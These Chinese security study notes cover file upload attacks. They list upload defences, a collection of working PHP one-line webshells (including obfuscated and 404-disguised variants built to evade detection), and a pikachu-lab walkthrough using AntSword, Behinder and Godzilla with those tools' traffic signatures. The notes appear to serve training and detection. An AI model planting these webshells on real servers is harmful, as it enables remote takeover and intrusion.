一、文件上传防御手段及绕过手段总结
(一)文件扩展名服务端白名单校验
服务器应仅允许上传预定义的安全文件类型列表中的文件,如常见的图片、文档和视频格式。
(二)文件内容服务端校验
通过检查文件的内容(如文件头)来验证文件类型,确保上传的文件类型与预期一致。
(三)上传文件重命名
对上传的文件进行重命名,避免使用用户提供的文件名,以减少安全风险。
(四)隐藏上传文件路径
不直接暴露上传文件的存储路径,防止攻击者直接访问这些文件。
(五)文件上传的目录设置为不可执行
将上传文件的目录设置为不可执行,防止攻击者上传并执行恶意脚本。
(六)限制文件大小和上传频率
设定文件大小和上传频率的限制,防止恶意用户或自动化脚本滥用上传功能。
(七)内容扫描
对上传的文件进行病毒扫描和内容检查,确保它们不包含恶意代码或敏感数据。
(八)用户身份验证和授权
只允许经过身份验证和授权的用户上传文件,通过OAuth、API密钥等机制实现。
(九)隔离存储
将上传的文件存储在与应用服务器分离的专用存储区域,减少直接访问风险。
二、文件上传常用一句话木马
(一)普通一句话木马
<?php @eval($_POST[123456]);?>
中括号里面的内容是使用菜刀或蚁剑连接时的密码
(二)防爆破一句话
<?php
substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']);
?>
*菜刀地址http://192.168.64.137/x.php?x=myh0st
(三)过狗一句话
<?php
($_=@$_GET[s]).@$_($_POST[hihack])
?> //菜刀地址 http://localhost/1.php?s=assert
<php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]);
?>
(四)404隐藏一句话
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /error.php was not found on this server. </p>
</body></html>
<?php
@preg_replace("/[checksql]/e",$_POST['hihack'],"saft");
?>
(五)不用问号一句话
<script language="php">eval ($_POST[hihack]);</script>
(六)躲避检测
<?php assert($_REQUEST["hihack"]);?>
变形一句话后门:访问该网页,然后菜刀连接:/myh0st.php 密码:hihack
三、三种webshell管理工具的使用方法(pikachu靶场演示)
(一)antsword
1.创建一句话木马php文件
2.题目提示只能上传图片,改后缀名
3.打开bp和bp代理抓包,上传该文件
4.抓包成功,修改文件后缀名后放行
5.提示文件上传成功
6.打开蚁剑,添加代理和添加数据,bp还是打开的
7.测试连接,蚁剑抓包成功
8.send to decode 进行smart decode解码
9.蚁剑流量特征是php base64加密,最明显的特征就是明文中会有@ini_set()这个函数,也会有eval,加密后的数据包里大多是 _0x开头,payload进行分段然后用base64加密,看出测试流量中的数据包都是采用@ini_set函数开头,在base64数据包中它是QGluaV9zZXQ
(二)behinder
1.打开冰蝎,生成木马
2.找到生成的文件,按一样的方式上传到pikachu
3.回到冰蝎进行添加后保存
4.设置代理后保存
5.再双击我们添加的数据后bp抓包成功,共俩包,放行
6.流量特征
冰蝎4.0建立时候java也会与主机建立tcp连接,端口在49700左右每次连接就逐一叠加,冰蝎4.0他是内置了10个user-agent,每次连接shell都会换一个进行使用连接,他有固定的请求头和响应头,并且默认时候冰蝎webshell都有一串密钥,这个密钥是连接密码32位md5值的前16位,默认连接密码是rebeyond。
特征:Accept: application/json, text/javascript, */*; q=0.01
浏览器可接受任何文件,但最倾向application/json 和 text/javascript
弱特征:Content-type: Application/x-www-form-urlencoded
长连接:冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection
(三)godzilla
1.打开哥斯拉,“管理”->“生成”,按图所示生成一个木马。(使用自己写的木马连不上哥斯拉,可能因为哥斯拉的流量都是经过加密的
2.选择文件生成路径并设置文件名
3.打开看一下生成的木马文件,其实就是php的一句话木马(但为了后面方便,我直接改的png文件)
4.在pikachu文件上传上传我们的文件,bp抓包,修改后缀名后放行
5.回到哥斯拉,“目标”->“添加”,填写里面的内容。要和这个木马生成时候选的的选项保持一致,设置代理,,测试连接,用bp拦截
6.抓包成功,共产生3个包
7.流量特征
强特征:cookie值最后有一个分号Cookie: PHPSESSID=iocrpclbbt8mpg4i11j5ocohu0;
弱特征:user-agent如果不修改的话会返回使用的jdk信息,Java/1.8.0_121(具体什么版本取决于JDK环境版本)
弱特征:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
相应包中的数据前16位是md5+base64编码后16位是md5
解码后首当其冲eval
四、文件上传无回显如何查找webshell地址
(一)审查日志文件
1.Web服务器日志:检查Web服务器的访问日志和错误日志,特别是与文件上传功能相关的请求。这些日志可能包含有关上传文件的详细信息,如请求的URL、时间戳、客户端IP地址等。通过分析这些信息,你可能能够推断出上传文件的存储位置。
2.应用程序日志:如果应用程序有自己的日志记录功能,也请检查这些日志。它们可能包含有关文件上传和处理的更多详细信息
(二)利用安全扫描工具
使用Webshell查杀工具(如D盾、河马等)对网站进行全面扫描。这些工具能够检测并报告可疑的Webshell文件,包括那些被隐藏在网站目录结构中的文件
(三)分析代码
检查应用程序或网页后端的代码,特别是处理文件上传的部分。了解文件是如何被命名、存储和处理的,以及是否有任何安全措施(如文件类型检查、大小限制、病毒扫描等)被绕过
五、文件上传表单的无参/有参情况下构造表单
(一)文件上传表单的无参情况下构造表单
在文件上传表单的无参(或说是“简单”或“基础”)情况下,构造表单通常指的是创建一个HTML表单,该表单允许用户选择文件并将其上传到服务器,而不依赖于额外的参数(如JavaScript动态生成的参数、隐藏字段等)
(二)文件上传表单的有参情况下构造表单
在文件上传表单的“有参”情况下,构造表单意味着除了基本的文件上传字段外,还包括其他表单元素(如文本输入框、选择框等),这些元素作为参数与文件一起提交到服务器。这些参数可以用于各种目的,比如指定文件上传后的存储路径、文件类型验证、用户身份验证等